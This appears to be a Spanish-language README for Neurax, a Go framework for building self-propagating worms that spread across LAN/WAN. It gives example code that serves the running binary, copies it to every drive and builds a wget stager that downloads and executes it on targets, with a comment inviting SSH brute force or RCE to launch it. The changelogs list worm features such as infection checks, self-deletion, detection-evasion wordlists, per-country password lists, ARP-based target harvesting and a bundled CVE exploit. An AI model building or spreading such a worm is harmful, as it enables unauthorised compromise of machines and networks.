Un framework que ayuda en la creación de software de autopropagación
Resumen
Con la ayuda de Neurax, los binarios Golang pueden propagarse en LAN/WAN sin usar servidores externos.
Diversas opciones de configuración y stagers de comandos permiten una propagación rápida en diversos entornos inalámbricos.
Código de ejemplo
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
Novedades en v. 2.X (subproyecto separado)
- Refactorización: se abandonó el enfoque similar a un framework en favor de un binario listo para usar
- Stager wget genérico para todos los objetivos UNIX
- Un único archivo de configuración para ajustar el comportamiento del gusano sobre la marcha
- Autoeliminación automática mediante
unlinkat(2)
- Exploit de ejemplo LinuxKI CVE para complementar las capacidades de propagación en red
- El archivo de configuración JSON se descarga y evalúa
- Reescritura minimalista del recolector de hosts
Novedades en v. 2.5
- Ejecución opcional en segundo plano del binario de segunda etapa (
N.StagerBg)
- El stager de comandos guarda y ejecuta en una ruta local al contexto
- También elimina el binario descargado justo después de una ejecución exitosa
- Se eliminó el mecanismo de ejecución sincronizada de comandos por razones de velocidad/estabilidad. Se propondrá una alternativa decente antes de la próxima versión.
N.NoInfectCheck para deshabilitar la verificación de si el host ya está infectado
- Política de ejecución única en la máquina objetivo, aplicada con un mutex de archivo exclusivo dentro de
NeuraxServer()
- Se agregó una gorutina anidada para servir el binario
- Nuevo stager
httrack para Linux
- Lista de palabras común comentada para evasión de detección
- El stager de comandos puede esperar antes de eliminar el binario (
N.StagerRemovalDelay)
Novedades en v. 2.0
- Nuevos mutadores de listas de palabras + contraseñas comunes por país
- Escaneo pasivo improvisado
- Opción
.FastScan que hace que los escaneos activos sean un poco más rápidos
- Las listas de palabras se crean estrictamente en memoria
NeuraxScan() acepta una función de callback en lugar de un canal como argumento
NeuraxScan() escanea en bucle infinito con posibilidad de establecer un intervalo entre cada escaneo de toda la subred/grupo de objetivos
- Búsqueda inversa de DNS para objetivos que no están en formato IP
- Extracción de candidatos a objetivo de la caché ARP
- Posibilidad de escanear solo una lista seleccionada de objetivos + priorizar objetivos específicos (como puertas de enlace predeterminadas)
- Posibilidad de especificar interfaz y tiempo de espera al usar escaneo de red pasivo
- Stager de comandos mejorado (se puede ejecutar opcionalmente con privilegios elevados / varias veces)
- Algunos cambios en los nombres de las opciones
NeuraxConfig. pasó a ser N. (porque es más corto de escribir)
- Funciones para asignación aleatoria de memoria + migración de binarios
- Posibilidad de encadenar múltiples stagers (ej.
wget + curl)
- El volumen y la complejidad de la lista de palabras creada se pueden ajustar fácilmente (con opciones como
.WordlistExpand)
- Posibilidad de establecer tiempo de vida del binario creado
Lista de entradas de configuración